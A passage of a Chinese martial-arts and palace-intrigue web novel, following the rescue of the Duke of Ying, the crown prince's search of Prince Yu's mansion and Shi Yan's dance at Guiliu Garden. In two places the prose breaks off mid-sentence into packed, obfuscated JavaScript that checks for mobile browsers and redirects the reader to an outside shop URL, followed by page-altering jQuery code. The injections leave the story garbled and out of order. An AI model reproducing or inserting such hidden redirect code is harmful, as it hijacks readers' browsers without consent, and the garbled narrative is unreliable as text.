“英国公?!”石焉又惊又不敢信,英国公是先帝时封的,他在朝中尊位数一数二,而其外甥女是屿王生母为婢时服侍过的皇帝妃子,后者无子,去世后他便一向偏帮屿王些,屿王幼时的老师也是由英国公举荐。只是皇帝一向在意声名,就算斩除异党也必是辛密为之,如此公开处决重臣,还是头一回。 “父皇已年近五十,他这是在为太子铺路。”屿王的神色变得狠戾起来,“我的几位哥哥里,除了我,几乎无人对太子有任何忤逆,大家都默认他是未来的天子。二哥庸碌,三哥身弱,六哥虽有意君位,但他心惧太子,只能望权心叹。这半年来许多事我都与太子意见相左,父皇自然要在自己崩逝之前,替太子把我的人都一一拔除了。此次太子提出罚英国公死罪,对父皇来说并没什么为难,但对我却影响重大,英国公若死,以后谁还会尽心为我?我是势必要救他的。” 石焉听他口口声声涉及对皇帝大不敬之语,便心知这些年他对皇帝和太子的诸多行径已是不满至极。“兄长打算怎么做?”她问道。 “劫人。” 8. 第二章第二节 “她果然还和小时候一样,同情这个,同情那个。” 谈话结束,石焉走后,顾念怀来到书房,他给屿王披上一件外衣,道,“郡主一向善良。” “我并非是要利用她,只是她身上的善良,唯有在我这,才能发挥出最大的用处。” 七天后 长街上人群拥叠,叶显开一身灰色衣衫,作书生打扮,手执折扇,混迹在拥杂的人群中,七年过去,他仍然容颜俊秀,仪表堂堂,仿佛天生该作文气公子,只是左脸上一道长疤,倒显得有些不伦不类了。他在道边静静看着,面前阵仗颇大的一行车轿中,坐的正是英国公,而再往前一段就是大理寺了。 “这次的事本殿不能明着派兵,所以需要你。 移去行刑的命令是父皇下的,押送由大理寺的人负责,本殿现在若派兵,那就是插手了。况且朝中为着父皇这次斩令英国公的事,谁看不出来是偏向本殿,所以在真正事发之前,我们一定不能主动露错。 七弟前两天虽然已经离京去了乐进夔,但是本殿赌定他一定会留有安排。你带几个人,看紧了,切记,一旦有人来劫车,先让大理寺的人去追,你们只能跟在其后,暗中帮忙。” 太子叮嘱如此,叶显开遂带着几人各自隐藏在两边人群中,只等着看螳螂捕蝉,自己遥做黄雀便是了。 行出一段,果然看到拖车的两匹马攸地嘶鸣起来,两马似是同时受惊,一齐发足往前狂奔,马上的两人也径直被摔了下来,轿厢被拖着撞开其余押送人员,一路往长街远处冲。人群瞬间大乱,但大理寺的官兵还算有序,领头的寺正立刻跨上骑护的马前去追赶,其余官兵也随即跟上。 只有叶显开看得清楚,两马受惊,分明是因为刚才对面屋顶后一蒙面人发的两枚石子,重重砸在马后身,他看见那人隐于屋脊后侧,躬身随着马车奔逃的方向,以轻功一路跟随。他便也给另几个同伴打声招呼,几人脱离人群,跟在官兵后方,同往街远处追去。 马车在奔出二三十丈远后被另一人拦了下来,那人似是个年轻少年,白衣劲装,又以白巾蒙面,自侧巷中闪身而出,转身一跃,便骑于其中一发足的马上,上身倾斜,手握两马缰绳,脚跨马镫,奋力往后勒起,两马吃力,艰难停了下来。眼见大理寺护卫首领便要追上,他当即调转马头,往侧巷中驾去,首领寺正也不犹豫,急转跟了进去。 然而巷道中早有人埋伏在侧,他刚一进去,便有躲在暗处的人,一袋撕开口子的面粉当头罩来,铺天盖地间白絮迷眼,模糊间已不见马车去向,眼前只余一条左转小道,此时剩下的侍卫们纷纷赶到,他正要命众人沿道搜寻,却又见一黑衣蒙面男子一个跟头翻至眼前挡住去路。 叶显开躲在高墙上俯视局面,见到泼面粉的小厮已经逃离,而现在拦人者正是先前惊马之人,此人一指二石,准头狠稳,内力匪浅,不容小觑。眼见大理寺数十官兵在巷道之中并无法伸展作战,只能几人轮几人地与他对战,叶显开当即以手势命同伴,各自隐至四面墙后,暗中击发暗箭,助官兵一道环绕黑衣少年一人,围打了起来。 蒙面人正是江南。他的武功以快见长,不论刀剑,总能武出一面毫不透风的气墙来,他今日一早就埋伏在长街旁的楼宇之上,只等马匹经过,双指一弹,见到两马如预期一样受惊后,便也沿楼宇上奔去。此刻他阻拦追捕官兵,并不能真伤人命,只意在拖延。能以一敌百在江湖便是一等一的绝顶高手,江南显然还未到此等级别,好在众官兵受地形所限,无法一拥包围,只能源源不断补位而上,江南也乐得其所,正图以此拉长时限,但好景结束在他看到四周纷发射来的暗器短箭。 “太子本来就不愿众人非议皇帝为了他处死老臣,所以他绝对不可能派人支援大理寺的押运,就算他料到我们要劫人,也不可能出手阻拦。否则若论起来,太子没法解释他为什么会提前布人,这件事也足以让朝臣们怀疑他以老臣相胁,诱害屿王殿下。” “但是我们不知道他有多少暗卫,我们有一个江南公子,他们若有十个呢?” 石焉和顾念怀在讨论计策的时候就担忧过这个问题。 “就算他有十个也没关系。他必定要等到大理寺先追到人,最多也是暗中相助。只要我拖住大理寺押人的寺正大人,只要阿北和石焉姑娘交接的动作够快,他们也无可奈何。”江南道。 如今果然不出所料,太子的人已经出手了,那么自己必得多拖住一刻是一刻。 他从背后抽出新打的双刀,左手格挡暗箭,右手击退官兵,两只手速度极快,叶显开心里不由得暗暗吃惊,他不知七殿下府中已有这等角色,若此人和自己对上,真不知谁能更胜一筹。且暗器往往来势迅猛,比之明枪更难挡防,但这蒙面少年周身转首间,皆以手中的刀精准格开,速度快且周密。 他一直在高处,此刻便从身旁的砖瓦上拾了一粒石块,叶显开瞄准位置,运力丢出。江南耳边听到疾风过,却并没打算理会,石块果然只砸在身侧的灰墙之上。 然而石块载力之下,又受墙面碰撞,竟回弹回来,直擦江南眼睛而来,他不可再避,左手横刀举于眼前,“啪”的一声,石子碰碎在光滑刀面,炸裂成细碎屑沫。 是个左利手? 就这一挡眼睛的功夫,大理寺寺正已然跃过江南,追车马去了。江南要回身去追,却又被暗箭及侍卫缠身,见到寺正身影左转入小道,已是不及。另一边墙顶上叶显开见寺正脱身,便也不再停留,沿屋脊继续一路轻功,跟随寺正而去。 只是他没想到,跃过两个庭院,没见到英国公大人的车轿,却见到了那个七年前的小女孩。 长剑袭来的时候,他正一心在寺正身上,完全没注意到,有一个少女在自己脚下的院墙内,她恨恨拔剑,跃上墙面而来,叶显开感受到剑风便迅速回身,折扇铺开,剑扇相撞“叮”地一声,他们各自退开半步,墙顶狭窄,两人相视而立。 他是看到她鼻梁中间的那颗小痣认出来的。 “高唱意的女儿?” “大人,想不到在这里狭路相逢了。”宋酬雌眉头半锁,目含愁色,她并非鲁莽报仇之人,只是这番因事入京,无意间来到此巷,没想到远远便看到了墙顶的叶显开,那人脸上一道长疤刺眼又醒目。她从巷道另一端而来,因此没见到之前江南与众护卫打斗的场面,只看到叶显开似在跟踪一个穿官服的大人。宋酬雌以为他又要秘密谋害当朝官员,便迅速出手,拔剑刺来。 “你螳螂捕蝉,可曾想过黄雀在后?”宋酬雌话毕,并不给对方离开的机会,便又提剑刺来。 可惜她并不是叶显开的对手。对方一柄折扇挥动起来,竟比刀剑还锋利,他张开扇面,画圈直朝自己前颈而来,宋酬雌仰身疾步后退,扇尖就要划破自己咽喉之时,对方却堪堪点过,只轻轻留下一阵搔痒似的触感,便收扇止步了。然而她还是重心不稳,摔下院墙。 “要报仇就先把自己武功练精。” 宋酬雌趴在地上,仰头看着那人,他仍然站在高处,和七年前骑于马上俯视着自己的样子重合在一起,无助与痛苦袭上心头,恍如当年。 “你叫什么名字?”见他转身要离去,宋酬雌大声问道。 “行不更名,坐不改姓,叶显开。” 说罢他便离开了。他此一番被宋酬雌缠住了手脚,已然晚了一会,当即加快步伐,可等他找到那驾马车之时,英国公已然不知去向,轿内只余一副断开的镣铐,旁边还躺着晕厥的寺正大人。 半刻前 “国公大人,请您速速把这件衣服披上。一会儿会有人接您走。”驾马的白衣少年在拐过几个弯后停下车,从腰间抽出一件缠绑着的灰色外袍,他把衣服递进轿内,原先略显魁梧的身形瞬间薄细下去不少。 “你是谁的人?要带我去哪?” “我谁的人也不是。受兄弟所托,终兄弟之事。您快穿吧,有人要救您。”他躬身进入轿内,利索地抽出一柄剑,卡进手铐脚铐,使力一扳,铁环应声而断。 就在此时,这少年突然示意英国公噤声,他猛地回身挑开车帘,横剑于前,正架上来者的脖子。 “你是阿北吧。”来者是个妙龄少女,她一身钴色衣裙,长发半挽,一束垂在胸前。被利剑所指也神色自若,她轻轻一笑,落入对面的白衣少年眼里,就像干净纯澈的清谭泉。只听她略过自己,向里面的人轻声道,“我是石焉。国公大人,七殿下命我来接您。” 几日前屿王尚未离京,诸人在一起商议之时,江南曾提起他有个师弟,名唤阿北,骑马之术卓绝,便由他做接应,再和石焉交接。在座除了江南并没人见过阿北,石焉问起他有何特征,以防被人冒替。江南似在背诗般地只说:风流倜傥,风度潇洒,风光月霁。 如今看来,的确担得起似风一喻。 “是,我是江北。”白衣少年收剑入鞘,他笑道,“原来你就是石家妹妹。” 石焉听他称呼轻薄也不生气,只道,“江二公子护送国公辛苦了,便请让路吧。” 江北回头一看,见英国公已然穿好灰袍,正好整以暇地瞧着自己,顿时有些窘然,只好轻咳两声,让开身子,面上却仍然笑得有风度,他道,“石家妹妹改口倒快。不过我喜欢为美人效力,从来不嫌辛苦。” “看来老夫得救,还是沾了姑娘的光啊。这位江少侠,多谢你了。”英国公起身出轿,他临危不乱,天子重臣风采依旧,侃侃笑道。 石焉遂扶了英国公下轿离去,她回过头来,莞尔一笑,“多谢夸赞,咱们山水有相逢。” 两人快步离开,又从巷尾回到长街上,此时人群喧闹不减,但大理寺的官兵们皆在身后的巷子里,二人此刻低首行在人群中,只似一对普通祖孙,倒从容淡定。 石焉按计划安顿好英国公后,又前往制衣铺子取了日前来定制的裙子,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不错,只有成功救下英国公,太子才能顺便送殿下一个劫囚大罪。”顾念怀沉声道。 “我刚入府那日,兄长从宫里回来,可是皇上有什么差事指派?”石焉突然问道。 “父皇命我去乐进夔替皇家赴南禅寺祈福,无非是为了支开我,以防我相救英国公。”屿王的神色中满是不甘。 “这正是兄长的机会,只有你离开金陵,那么这里再发生什么,都不会牵连到你。”石焉道。 “我知道,父皇的意思本是那日即刻启程,我已经一拖再拖。我总归放心不下你们…” “殿下,属下也是这个意思,您离京,人救下来之后才不会把自己反搭进去。”顾念怀道。 “好,既然如此,那便明日出发,照惯例,念怀随我同去。王府一切交由王妃打点。” “好。殿下放心。” “王妃。你再不让开,莫怪本殿对你无礼了。”太子疲倦的声音传来,他故作打了个哈欠,依靠着高辇。 “太子,屿王府是亲王府,恕臣妾多嘴,今日,臣妾并未听说有其他王府受了搜查,不知怎么偏偏就是我们屿王府首当其冲呢?亦不知太子所说的父王亲命,可有圣旨?太子若有圣旨,臣妾绝无二言,立刻迎太子入府。” “你敢污蔑本殿假传圣意?”太子坐起身来,他向前倾着,脸上已经藏不住狠戾厌倦的神情。 “臣妾不敢。” “王妃,英国公与七弟一向亲近这是人尽皆知的,你又如此阻拦本殿,莫非是英国公就藏在这王府之中?” “太子慎言。殿下的确视英国公大人如师长前辈,但太子所说的亲近殿下万万不敢当,殿下与大臣们再亲近,也敌不过与亲眷家人。也正是因为殿下感念父皇辛苦,为少烦忧,特意尽早离开金陵避嫌,却不想饶是如此,都要被搜府才能以证清白。” 太子眯起双眼,神情越发危险起来,他幽幽道,“此时本殿再回宫请一道圣旨也不难,只是怕打扰了父皇休息,按王妃所言,既然屿王府一向体恤父皇辛苦,想来也不会如此做。本殿深知七弟离开金陵就是为了避嫌,那么王妃就快些打开大门,本殿一搜,自可还七弟清白。” 太子挥了挥手,侍卫便步步逼近过来,眼下已是避无可避,挡无可挡。他走下步辇,周围立刻有几个侍卫上前,径直撞开祝之笺,护卫其进府去了。 祝之笺搀扶侍女的手紧紧抓着,府中诸人来来去去,令人眼花缭乱,她盯着太子身边不停来报的侍卫,似是都一无所获,正要松口气,却见太子跟随一侍卫进了书房。她马上扶着侍女跟了进去,太子正在那一面书架前左右踱步。 他回头瞧见祝之笺强装镇定的神色,越发觉得好笑,轻轻将手抚过每一处花瓶,终于,听得咔嗒一声,似是门板撬开的声音,眼前书架便慢慢向两侧打开,露出一片黑色空间,侍卫们立刻举了灯站在两侧。 “密室?”太子嘴角上扬,眼色却凶,他掷地有声道,“进去搜。” 9. 第二章第三节 时间已过酉时,天色愈发暗沉,归留园内的热情却持续高涨,到处张灯结彩,人声喧哗,大堂内的红台已经搭好,台下摆满了桌几矮凳,众人各自入座。此时铮铮几声琴响,园内一下子安静下来,大家都目不转睛盯着台口,烛光微恍,一道侧影半隐于幕布之后。 石焉以纱覆面,她最后整理了一下衣袖裙摆,一手拎裙,一手掀开幕帘。 霎时间灯火耀眼,四下通明。 “殿下,没有发现。”侍卫举灯占满密室各角,四下搜索了一番后,回到书房禀报。 太子皱起眉头,他快步跟进密室。地方并不大,四方的白墙,连张木架子都没有,所有陈设一目了然。唯一醒目的是正中一只玉制大鼎,高约三尺,通身透润,白翠中似可见光。 “殿下心中一直记挂太子,下个月太子生辰,殿下早早派人从远田打造了这尊重器,一路仅护送运回,就历时三月。”祝之笺走了进来,她站在太子身后的位置,隐约已有泪意,轻声啜泣道,“太子奉命搜查,臣妾无法。只是殿下对这份大礼十分重视,特意置于密室保管,又腾空其余所有杂物,只因和田玉名贵,怕沾了浊气。原是一份惊喜,都是臣妾不力,坏了殿下的筹划。还要请太子生辰那日,装作不知才好,只当是全了弟弟的一番恭敬之心。” 太子的脸上已经变得铁青,他额角的青筋尽显,但一开口仍然维持着喜怒不惊的语气,他道,“那本殿,先谢过七弟了。既然英国公不在此处,本殿还要去其他府邸搜查,就先走了。” “恭送殿下。”祝之笺恭敬行礼,她轻轻拭去眼角泪水,笑意攀上嘴角。 与此同时,归留园的人数不减反增,除了前排雅座的客人带着守卫小厮,仍能保持一人一桌,后头乃至楼梯廊道都站满了观客,二楼的每个雅间门也均大开着,宿客纷纷站在包厢内自带的观赏廊台,倚着栏杆为表演大声叫好。 金陵地处南方,女子皆以温婉为主,佳人名舞也多是缠绵动人的姿态。因此石焉为求今日之舞能出新意,特意寻店家给裙上绣了多种鳞片,远远看去波光一片,闪耀非常,正是仿将军远征时的盔甲战袍而制。她手握两截彩绸,中间一段系于腰间,舞动起来彩绸斥风而鼓,如龙鱼跃进江流洋洋摆尾,气势十足,又似天兵神将运筹千里沙场于帷幄之中。 石焉眼睛扫过场下,一眼就见到了刑部的李仲乔大人,他与七年前相比除了多了一些白发,并无什么明显变化。她想起兄长说过,他是太子的人。 “李仲乔?他去归留园做什么?”太子刚离开屿王府,坐上轿辇,他一只手轻轻揉着额头。 “李大人命属下来知会太子一声,”一个侍卫模样的人骑着马赶到,他下马后几步快速走到太子身边,低声说道,“今晚归留园欢宴,不少官员都在场,大人听说殿下在屿王府和王妃稍有矛盾,特意提醒,等下殿下搜查其余官员宅院,也恐只余妇孺于府中,会多有不便。” “这个本殿知道,其他人本就是走个过场,本殿不会再为难那些家眷妇人。”太子略略沉吟后又道,“只是李仲乔一向不喜欢凑这些热闹,他去那里做什么?他可还说什么别的了吗?” 那侍卫又凑近了些许,道,“大人的意思是,今日大理寺遇袭,被劫走的那位,或许在归留园。” “什么?” 三个时辰前长街 石焉带着英国公一路低调而行,不出一会,遂到了归留园,她进去对掌柜的姑娘点点头,对方便带她上了二层左侧一雅间。 把英国公安置好后,两人走去客栈一角,石焉轻声道,“裴师姐,今天多谢你。晚上我一定好好表现,帮归留园多招揽些客流。” “且不说石姑娘你是师父亲自说过要照顾的,就凭你一来便帮我们清出了叛徒,我们归留园,都要帮你。” 石焉微微一笑。屿王本来曾在离开金陵前有所安排,计划将英国公救下后藏于自己的密室,只是石焉当时便心觉不妥。 “不可,”她那日接话道,“哪怕劫囚一事太子抓不住屿王府的实际证据,但不能保证他不会寻个由头来搜人,王府绝不能涉险,兄长,我有个提议。” “你说。” “归留园。” 直到后几日屿王带着顾念怀离京,石焉也并没有去归留园,而是先去了京郊的一处林中。 原来早在江南与顾念怀来接走爷爷那时,她便回过一趟客栈,向店里的掌柜即凌霄宫高阶弟子裴青冉表明了身份,她心中一直惦念着弟弟小石方,想请求凌霄宫遍布各处的眼线帮忙探查弟弟下落。这日正是在府外收到了归留园的消息,说石方被一位宋姓女子所救,今日便约了在此处林中相见交接。 石焉等了许久,才见林深处走出两个人影,几乎是一瞬间她就认出了那是央月二使。 中计了。 她等二人走近,大声问道,“两位圣使,并非我要为难,只是我实在不能跟随你们回去。能否先告诉我,方儿呢?他是否安全?” “圣女想必也是收到消息才前来的吧?石家夫妇与我们交手时,石方自己跑了,后来我二人和他们夫妇共同寻找,正巧看见孩子被一位中原女子带走了。我之前在大会上看过她在所属门派时,那些人叫她“宋师姐”,她也面善,应该不是歹人。只是为了避免再次发生争斗,又急着去找圣女你,这才没有折返告知石家夫妇。”男使仍然彬彬有礼,他用瑶语说道。“我们带走石方没有恶意,一路对他都很好,圣女不必担心。可我们确实没有想到,孩子被带走的地方离我们打斗的地方并不远,你们却至今没有找到他。” 他不知道当日四人停手之后,陆其陇和石曾忆寻找的方向恰好错过了石方的位置,他们虽各自计划覆盖东南西北四面,却到底有不周之处,两人一路遇到了多个回程的门派,其中就包括受害的另四个门派,然而却没遇上救下了孩子的那一派。 “你老担忧别人做什么?那孩子又不是你的孩子。他的父母自己吵得不可开交,能不能找到他谁又能知晓,更何况这关你我何事?”女使一通数落后道,“圣女,今日你必须随我们走。为了买你的消息,我们可花了大价钱了。” 石焉心下已经了然,女使说花了大价钱,必定是归留园出了细作。她悄悄往后退,却听得后面传来脚步声响,回过头去,并非裴青冉,但也是在归留园打过照面的另一位师姐。 “对不起了石姑娘。”那人道。 “这位师姐,你可知道背叛凌霄宫的下场?”石焉心下难过,并不是因为她为了银钱出卖自己,而是担忧她日后的生活,只怕要一生逃亡。 “二使,我真的不能回去。”石焉转过头,说完这句话,便缓缓往一侧退却,与此同时,一个身影从树上飘然落下,正是江南。 他如今内伤已愈,虽后背又添外伤,但终归并不影响施展武功,他同杭城那日一样藏于树上,二使仍然丝毫未觉,现下三人交起手来,二使更加吃不到一点甜头,反觉几天过去,这少年似是已有长进。 他们如何知道,江南在数天前为石难黎传功之时,曾得石老指点,对于体内所积的剩余内力,已稍有化解之法。石难黎告诉他,自己虽不知横逆心法原籍,但内力修为多有相通之处,于是他按照石老点拨,每日早晚运功一个时辰,让真气在体内四处游走三遍,且在各穴位处均需停留一刻。一开始江南只能循转一周,并无法控制其停留,但现在已可在重要穴点稍作停留,如此每日坚持,内力运转自是日趋纯熟,且本来无法取之自用的更多内力,也渐有融解之意。此刻他对战央月二老,已是得心应手。 那出卖消息的凌霄宫弟子,正是前几日偷听到裴师姐谈论称,这位石姑娘要找的弟弟被一位宋家姑娘救下带走,又听到有两位苗疆来的使者正以重金求买这位姑娘的消息。她偷听的一知半解,只知其一,不知其二,却私以为自己聪明,曾瞧出石焉住店当日带来的老者是九顷水帮的帮主,又见石老失去行动能力,在客栈被接走,便认为石焉靠山已失,这才动了贪念私自偷偷联络央月二使。至于石焉是凌霄宫殿主亲眷、苗疆央月教圣女一事一概不知。 她此时眼见这少年武功竟如此高强,反是央月二使隐有不敌之势,才后知后觉害怕起来。 “你快走吧。这事我不能瞒着裴师姐,等我回去告知,她再上报殿主,你就走不了了。”石焉见她瑟瑟发抖,心下不忍,便劝道。 这边江南挥动两柄长刀,越打越顺,不停向前迈进,男使的铁镣铐和女使的长剑都是轻巧武器,遇上内力不如自己之人,自是便捷迅猛,可江南内力已在二人之上,手握重刀依然来势汹涌如风,两人的轻巧兵刃被双刀压制,发挥不出原有优势,已被江南逼的连连倒退。两人不敌,只能恨恨离去。 击退央月二使,走在回去路上,江南问石焉,为何要放走凌霄宫的叛徒。 “凌霄宫的殿主就是澄清大会那日与你交手的玉面夫人,她向来严厉治下,那姑娘只是贪财,并没有什么别的坏心,若依门规被惩处,只怕再也练不了武了。” 江南从没听过这样的话。他以为凡故纵叛子离去者,定是为了下一步的落子另作谋算。至少以前他如此问屿王,或者小顾时,得到的都是如此答案。 “你不怕凌霄宫其他弟子,见此女无事,便藐视门规,纷纷效仿以谋钱财吗?” 这回轮到石焉沉默了,虽然她清楚凌霄宫的大多数弟子绝不会见利起异,也明白江南并无责怪之意。只是,她的确在这些事上向来寻不到两全之法。 一时善心,或许会成就一个迷途者的金盆洗手,也或许会换来更多的恶果。但是在不确定的情况下,难道真要错杀一千,只为不放过一个吗?性本善恶无从考证,但她总愿意相信,或许他们愿意改变。 二人回到归留园,将方才一事告知了裴青冉,原来对方近日已查觉不妥,只是没想到事发的这么快。石焉便又说了到时需借用客栈安藏英国公等事。 “等那日晚上,还要请师姐遍发请帖,归留园素来是达官显贵聚会之所,我也不怕在大家面前一舞献丑,只是要越多人越好。权当是为师姐的归留园摆个噱头,招财进宝了。” “姑娘跳舞,由我宣扬,你放心,我明白你的意思。” 一切交流妥当,只等押送之日到。 “李大人说由他在那看着,请殿下放心。并请殿下千万别一时心急赶去归 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253649|197975||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留园,那里虽非风月场所,但到时若与几位大人打了照面,日后上朝,担心他们多有尴尬,也会避碍太子。” 他明白李仲乔的意思。天子脚下,青天白日里发生当街劫囚。入夜后却照旧歌舞升平,诸多臣子官员不关心重犯丢失,却赶赴小小客坊,只为看舞艺表演。可但凡他赶去一个一个房间地明查,就势必会将这归留园中当晚所有宾客记录在册,而这份官员名单,并不会给他们带来什么处置,最多是一顿无关痛痒的斥责,但对自己在朝中的人心而言,已经足以抹掉日后继任后之可能。且对皇帝来说,以一个英国公,换满朝文武沦为天下笑柄,值得吗? “本殿心里有数。可惜今日这步棋,多半是要走错。”太子皱紧眉心。 无奈,他当晚只能命亲兵护卫继续跑遍全金陵数十家官宅府院,均一无所获,大理寺也配合封锁城门,搜索重要街镇市集,却同样无所得,而只有归留园无人涉足。皇帝之所以秘密下令,要的就是杀藏囚之人一个措手不及,可对方好像总是提前一步,将数位大人引来藏匿囚犯之地,正是最好的掩护。而这道保密的命令,也成了隔绝归留园与外界府宅联络的天然借口。 而李仲乔,自然也非盲目贪娱之人,且他不像太子身份敏感,便委于其他混沌贪乐的官员之中,假意来此为了赶一回热闹。他只是不甘心,不甘心原本一石二鸟助太子击溃英国公与七殿下的计策毁于一旦。他抬眼望去,二楼每一个雅间大开的折门,似乎都在故意展示房内的一览无余,而各房外延出来的半敞开式廊台中,又都依靠着其中的宿客。是啊,大肆宣传且唯有一次的名舞,怎么可能还会有人藏于包厢中而不出来观演呢?对方如此处处周到设计,自然是算足了不可能让自己找到他们精心藏匿的英国公。李仲乔心中焦急,他在人群外围暗暗踱步,四下观察。 二层左侧的雅间廊台中,斜倚着一位年轻公子,那人正是江北,他此刻换了一身暗色的衣服,按计划来捧石焉的场。而他身后门户大开的厢房里,江南护卫着英国公,正在其中。 “显开,你可知今天的事原是胜券在握。大理寺寺正本该在你的协助下当场抓获劫囚之人,就算他没抓住,你也应该能及时跟上他们,至少告诉本殿英国公被带去了哪里。”太子坐在金色的椅塌上,他道,“可是为什么今天先是寺正被打晕,你也没有跟上带走英国公之人呢?嗯?” “属下失职,跟丢了寺正大人,再找到他时,人已经遇袭晕过去了,英国公大人也被带走了。”叶显开此刻跪于太子面前,他的头低低埋在地上,尽显低眉折腰,卑不足道,和七年前一样,他不打算告诉太子遇到高唱意女儿的事情。 “显开,本殿是不是太信任你了?还是你年纪大了,武功退步了?据本店所知七弟府上可用的死士并不多,偏偏人家一个人就能顶咱们几个人。你也二十七八了,本殿当年能把你招来,现在自然也能找到把你顶下去的年轻人。” “殿下,属下一定加倍练武,绝不会再发生类似的事。” “行了,下去自己领罚吧。”太子挥挥手,阖上目休息。 屿王几日后也回了京,这一次虽然救下了英国公,看似赢下一役,但他心事重重却更胜往日。只因屿王虽心念皇位,可他毕竟年纪尚轻,根基远不如太子稳固,父皇身体康健,想必还有许多日子,他本意缓缓图之,谁知太子竟先出手了,这一下打乱他的节奏不止,更是让父皇动了打压自己的念头。他是等得起,太子却未必等得起,他已然三十有四,皇帝如此偏袒,就是在安抚太子,皇位早晚定是他的,因此他们怎么可能容得下自己缓缓图谋,积攒力量呢。 “这几日王妃和石姑娘对我照顾颇为用心,另有一位公子实时保护,老夫多谢几位。更加要多谢殿下,否则老夫现在已在奈何桥喝汤了。”英国公说罢便要跪下,屿王迅速上前将他扶起,道,“大人快请起,往后还得委屈您在我的府邸长住,且为防万一,也不能回去联系家人。不过您放心,我会派人暗中上英国公府告知老夫人,不让她忧心。” “殿下思虑周全,老夫谨遵。”英国公又道,“对了,那日救我的还有一位白衣小伙子,只是后来便没再见到他了,否则我也好亲自道谢。” “阿北?”江南道,“他一向没规矩,让国公见笑了。” “没规矩好啊!年轻人就是要敢于挑战常规,打破已有定局,那才能带来新生啊。”他看着屿王,意味深长。 三日后 石焉再次去了归留园,自当日作舞之后,她便于王府未再出过门,纵使当时轻幔半遮面,但归留园名声已起,多半有太子的人在此盯梢,她为保无虞,今日还是换上了一袭男装。 “裴师姐,前几日一直没来得及细问,上次说有我弟弟的下落,是被一位宋姓姑娘相救,可还有更多消息吗?” 裴青冉将她拉去后院,然后道,“我们收到的消息说,在杭城和冬芜口的交界处,央月二使和你伯父伯母发生了打斗,就是在这期间石方自己跑走了,恰好遇上澄清大会返程的五大门派,这才被其中一位姑娘所救。” “是哪一派的哪一位女侠?” “江陵扶苏排行十七,宋酬雌。” 10. 第三章第一节 “之笺,给你开的药方记得按时服。我这次离去,但愿下次相见的时候,能听到你的好消息。” “你真跟以前完全不同了,妙常,小时候你是王公贵女,出行做派无一不是最大的阵仗,可你现在这么独立,也越来越坚韧。不像我,身边离了人,寸步难行,要说闯荡江湖更加是万万不可能的。” “你是富贵命,何必如我落草芥?”石焉背起行囊,她今日一早便收拾好了包袱,换回女装,身上一袭深缁色的长裙便于赶路,她笑道。 “路上多加保重,虽有江南同行,但江湖险恶,你万事都要小心。” 石焉坐在轿中,江南骑于马上,两人出城一道往江陵而去。 那日她自归留园得到弟弟的消息后,便回了王府向屿王辞行,石方不过七岁,如今离开家已有近一月,在陌生人身边,也不知他怎么样。 离开金陵后便自在许多,江南从轿底抽出双刀负于背上,驾车疾行。这日过了北桥郡,两人决定换水路。沿江而行,便能更快到达。九顷水帮在此地的分舵主认识石焉,因此她毫不费力便启用了船只,由帮内弟子驾驶,开往扶苏门所在的江陵。 “小姐,帮主近来身体还安好?上个月澄清大会咱们也没去看成热闹,没能拜见帮主和总舵主。”说话之人是九顷水帮其中之一的分舵主卿轩以,他站在甲板上道,“这几箱东西里有北桥特产的海八珍中瑶柱一味,还有些别的小玩意儿,小姐看看可有喜欢的。” 卿轩以是十二位分舵主中最年轻的一位,他带领的分舵设在北桥,常年往返于京城至杭城之间,这条线并不长,但途经之地皆是南唐最繁荣的几座城郡,卿轩以上任以来,北桥分舵便成为这条水路的最大主宰,与官府交道往来,从无纷争,安稳数年,足可见其为人八面玲珑,处事滴水不漏。而也是因为如此,北桥分舵根基虽浅,却是十二分舵中最富裕的一处。卿轩以名声远扬,深得石难黎的赏识,他又青年英俊,衣着考究,此刻一袭白衣加身,脸侧发丝轻扬,比起江湖莽汉,更似富家公子。这次送石焉入江陵,一路由东至西,由南向北,沿大江而下,是北桥分舵第一次走的路线,因此卿轩以亲自跟船,以确保安全。 “谢谢卿大哥。这次麻烦你了,还要亲自送我们去江陵。” 卿轩以微微一笑,道,“天堑浩荡,水势磅礴,我自当亲自护送小姐安全,且马上七月二十帮内大会设在襄阳,离江陵不过一日的路程,咱们正好一同前往。” “帮内大会?”石焉思量爷爷中毒的事目前只有石家人和屿王府的亲信知道,保密应该没有问题,只是她不知道石曾忆是否已经在帮中宣布继位,更没听说什么帮内大会,她便试探着问道。 “小姐不知道吗?”卿轩以有些错愕道,“总舵主六月十五澄清大会那日,便叫人通知十二分舵了。” 他口中的总舵主正是伯父石曾忆。石焉心道,原来爷爷中毒生死难料之时,他竟然还早就谋划了去通知弟子于一个月后召开帮内大会,倒不如直接说是他为自己要接任新帮主的继位大会便了。 “我当日抱病,其后这段时间又有事离开帮内了,所以不知。既然如此,就如卿大哥所言,到时一同前往。” 此时江南从舱内走了出来,他劲装依旧,马尾高束,双刀背于后,自和玉面夫人一战折断刀后,他便以双刀随身,以做备用。 “这位小哥是?” “这是我的朋友,他叫江南。”石焉介绍道。 “原来你就是江少侠。”卿轩以上下打量了一番,似有些惊讶,“澄清大会之后,江湖上还有谁不知道这个名字?能和玉面夫人交手百招的少年,锦绣前程,不可限量。”他轻轻点头致意,“九顷水帮,卿轩以。” “卿大哥过誉了,我只是她众多手下败将之一。”江南也道。 “你既随小姐敬我一声大哥,我一定像待小姐一般待你。” 大船逐浪江中,三人立于船头,手把船舷,天色斗转,月升星移,转眼已是晚上。 “这位江少侠倒是很独特。”卿轩以斜坐在甲板之上,他仰头看着江河上的漫天星空,道,“江湖里的英雄就像夜晚的星星一样多,可像江少侠这样的,我没见过。” 